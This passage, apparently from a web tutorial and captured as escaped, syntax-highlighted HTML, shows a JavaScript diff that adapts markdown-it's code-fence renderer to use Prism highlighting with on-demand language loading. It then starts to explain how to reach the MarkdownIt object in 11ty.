&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;info &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;unescapeAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; highlighted
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;highlight&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    highlighted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;highlight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; langName&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; langAttrs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;escapeHtml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    highlighted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;escapeHtml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; escaped &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;escapeHtml&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;highlighted&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&amp;lt;pre&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; highlighted &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#39;&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// If language exists, inject class gently, without modifying original token.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// May be, one day we will add .deepClone() for token and simplify this part, but&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// now we prefer to keep things local.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;attrIndex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;class&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tmpAttrs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attrs &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; token&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attrs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;class&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;langPrefix &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; langName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      tmpAttrs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39; &#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;langPrefix &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; langName
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Fake token just to render attributes&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tmpToken &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;      &lt;span class=&quot;token literal-property property&quot;&gt;attrs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; tmpAttrs
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Make sure language is loaded. // 2&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;langName&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;diff-&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; diffRemovedRawName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; langName&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;diff-&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;languages&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;diffRemovedRawName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token function&quot;&gt;PrismLoad&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;diffRemovedRawName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;languages&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;langName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token function&quot;&gt;PrismLoad&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;langName&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// 3, 4&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Some plugins such as toolbar venture into codeElement.parentElement.parentElement,&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// so we&#39;ll wrap the `pre` in an additional `div` for class purposes.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; preAttrs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tmpToken&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; codeClasses &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;langPrefix &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; langName
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;div&amp;gt;&amp;lt;pre&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;preAttrs&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&amp;lt;code class=&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;codeClasses&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; el &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;textToDOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    Prism&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;highlightElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;firstChild&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;outerHTML
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;pre&amp;gt;&amp;lt;code&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tmpToken&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;highlighted&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// 4&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;pre&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&amp;lt;code&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;pre&amp;gt;&amp;lt;code&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;highlighted&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;If you&#39;re using an &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;server-side rendering, e.g. NextJS&quot;&gt;SSR&lt;/abbr&gt; framework or &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;static site generator&quot;&gt;SSG&lt;/abbr&gt;, you&#39;ll need to first access the MarkdownIt object.&lt;/p&gt;
&lt;p&gt;In 11ty, for instance, we can access it like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;eleventy.config.js&quot; class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;eleventyConfig&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;amendLibrary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;md&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;mdLib&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
